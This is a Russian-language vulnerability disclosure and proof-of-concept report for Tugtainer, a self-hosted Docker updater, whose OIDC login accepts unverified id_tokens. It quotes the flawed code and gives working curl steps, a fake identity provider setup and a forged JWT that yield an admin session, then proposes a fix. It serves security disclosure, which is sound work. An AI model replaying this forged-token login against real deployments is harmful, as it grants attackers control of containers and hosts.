
PoC — OIDC id_token принимается без проверки подписи/audience/срока действия в Tugtainer (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).
Статус CVE: запрошен, ожидает присвоения. Эта находка опубликована как GHSA-crjc-6vc7-xrfh. После присвоения CVE этот репозиторий будет переименован в
CVE-YYYY-NNNNN-tugtainer-PoC, а этот баннер заменён ссылкой на CVE.
| Исследователь | Dostxodjayev Abdullox (@squeeze440) |
| Advisory | GHSA-crjc-6vc7-xrfh |
| CVSS 3.1 | 8.1 (High) |
| Слабость | CWE-347 |
Ненадлежащая проверка криптографической подписи в провайдере аутентификации OIDC в backend/modules/auth/providers/auth_oidc_provider.py в Quenary/tugtainer (коммит 3138226) позволяет атакующему, способному контролировать или перехватывать ответ token-exchange между бэкендом tugtainer и настроенным OIDC-провайдером (например, позиция MITM в сети, скомпрометированный/вредоносный провайдер идентификации или компрометация DNS/TLS-терминации на этом пути), подделать произвольный id_token и получить полностью аутентифицированную сессию tugtainer с правами администратора для любой идентичности через GET /api/auth/oidc/callback.
Quenary/tugtainer — self-hosted инструмент автообновления Docker-контейнеров с веб-интерфейсом, архитектурой agent/backend.
Коммит 31382268bf16df32f33316fe4d601ad1635871d4 (ветка по умолчанию репозитория, клонирован 2026-08-05).
8.1 (High) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AC:H (не AC:L): эксплуатация не является обычным неаутентифицированным сетевым запросом. Она требует, чтобы атакующий контролировал то, что token endpoint возвращает бэкенду во время server-to-server обмена кода — реалистично это позиция MITM между бэкендом tugtainer и настоящим IdP, либо скомпрометированный/вредоносный IdP, которому бэкенд настроен доверять. Это реальное, нетривиальное предусловие, поэтому используется AC:H, а не AC:L.UI:N: как только атакующий обладает такой сетевой позицией, взаимодействие жертвы не требуется — атакующий может провести весь процесс входа самостоятельно (подтверждено в PoC ниже, выполнено end-to-end с помощью curl).C:H/I:H/A:H: результирующая сессия — это полная, неограниченная сессия tugtainer (для идентичностей OIDC не существует RBAC/allowlist — см. Детали) с доступом ко всем endpoint управления контейнерами/хостом: перечисление/чтение всех Docker-хостов и контейнеров, запуск/остановка/kill/удаление контейнеров, загрузка образов и (если на хосте включены ALLOW_HOOKS/ALLOW_EXEC) выполнение команд внутри контейнеров.S:U: воздействие остаётся в пределах собственной границы авторизации tugtainer (атакующий становится аутентифицированным пользователем tugtainer); это не рассматривается как изменение области действия в отдельно авторизуемый компонент.backend/modules/auth/providers/auth_oidc_provider.py, метод _exchange_oidc_code (строки 267–331), в частности строки 299–306:
# Verify and decode ID token if present
if "id_token" in token:
# For now, we'll decode without verification (not recommended for production)
id_token_claims = jwt.get_unverified_claims(token["id_token"])
return {
"access_token": token.get("access_token"),
"id_token_claims": id_token_claims,
}
jwt.get_unverified_claims() (python-jose) выполняет base64-декодирование payload JWT без проверки подписи, exp/iat или aud/iss — полная противоположность тому, что OpenID Connect Core 1.0 §3.1.3.7 требует от RP перед доверием к ID Token. Собственный комментарий разработчика («not recommended for production») подтверждает, что это было известное упрощение, а не намеренное проектное решение.
Полученные claims напрямую попадают в создание сессии без каких-либо дополнительных проверок:
callback() (строка 137) вызывает _exchange_oidc_code(), затем _create_oidc_user_session() (строка 333), который извлекает email/sub/preferred_username (строки 341–345) непосредственно из непроверенных claims и выпускает настоящие подписанные JWT-куки tugtainer access_token/refresh_token (HttpOnly, SameSite=strict) через _set_cookies().grep по шаблонам allowlist/allowed-email в backend/ ничего не возвращает) — какой бы sub/email ни был в (непроверенных) claims, он становится идентичностью новой сессии с тем же доступом, что и у любого другого вошедшего пользователя (в tugtainer единый плоский уровень доверия, без per-user RBAC).aud и iss никогда не проверяются, ID Token, выпущенный для совершенно не связанного клиента того же IdP — или, как показано ниже, с мусорной/несовпадающей подписью и уже истёкшим exp — принимается так же легко, как и легитимный.Это достижимо только когда OIDC_ENABLED=true (opt-in администратора), поэтому это не затрагивает развёртывание по умолчанию/только с паролем.
Проверено динамически на реальном приложении, собранном из этого коммита (docker build -f Dockerfile.app), запущенном через обычный docker run (не опубликованный образ) с:
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback
Минимальный фейковый OIDC-провайдер (evidence/fake_idp.py, хранится в папке этого engagement) отдаёт валидный discovery-документ и на POST /token всегда возвращает id_token, который намеренно невалиден во всех отношениях, которые RP обязан проверять:
aud = "totally-wrong-client-id-not-tugtainers" (не совпадает с OIDC_CLIENT_ID)exp = 1 час в прошлом (уже истёк)Шаги (реальные команды, реальный вывод, оба контейнера запущены локально):
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax
$ curl -s -i -b cookies.txt -c cookies.txt \
"http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict
Декодированный payload access_token (как выпущено собственным JWT-подписывателем tugtainer для этого «пользователя»):
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
"user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
"email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
"exp":1785918530,"iat":1785914930},"exp":1785922430}
Затем сессия подтверждена вживую на защищённых endpoint:
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK
$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]
$ curl -s -i "http://localhost:19412/api/hosts/list" # no cookies, for comparison
HTTP/1.1 401 Unauthorized
Собственный лог фейкового IdP подтверждает точный подделанный токен, который он вернул:
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw
Вспомогательный PoC: evidence/fake_idp.py (хранится вместе с этим отчётом).
Скриншоты не включены — это server-to-server обход API без браузерного/UI-компонента для захвата; приведённая выше расшифровка curl является реальным, неизменённым доказательством команд/ответов.
Любой атакующий, способный влиять на ответ вызова token-exchange OIDC, который выполняет бэкенд tugtainer (MITM на этом сетевом пути, вредоносный/скомпрометированный IdP или компрометация DNS/TLS-терминации между бэкендом и IdP), может выпустить полностью валидную, неограниченную сессию tugtainer под произвольной идентичностью — без необходимости знать учётные данные какого-либо реального пользователя и без взаимодействия легитимного пользователя. Поскольку в tugtainer нет per-user RBAC, эта сессия имеет полный доступ к приложению: перечисление всех зарегистрированных Docker-хостов и контейнеров, запуск/остановка/kill/удаление контейнеров, загрузка/тегирование образов и (где включены ALLOW_HOOKS/agent ALLOW_EXEC) выполнение команд внутри контейнеров.
aud/iss/exp)В _exchange_oidc_code замените jwt.get_unverified_claims(token["id_token"]) на декодирование с проверкой: получите jwks_uri IdP из discovery-документа, найдите ключ подписи по kid и вызовите jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) (python-jose поддерживает всё это). Это обеспечивает проверку подписи, exp/iat/nbf, aud и iss согласно спецификации OIDC Core. Рассмотрите также добавление опционального allowlist принимаемых значений email/sub для развёртываний, которые используют общий IdP с другими приложениями.
Dostxodjayev Abdullox (GitHub: squeeze440)
GitHub Security Advisory / Private Vulnerability Reporting в Quenary/tugtainer (PVR подтверждён как включённый).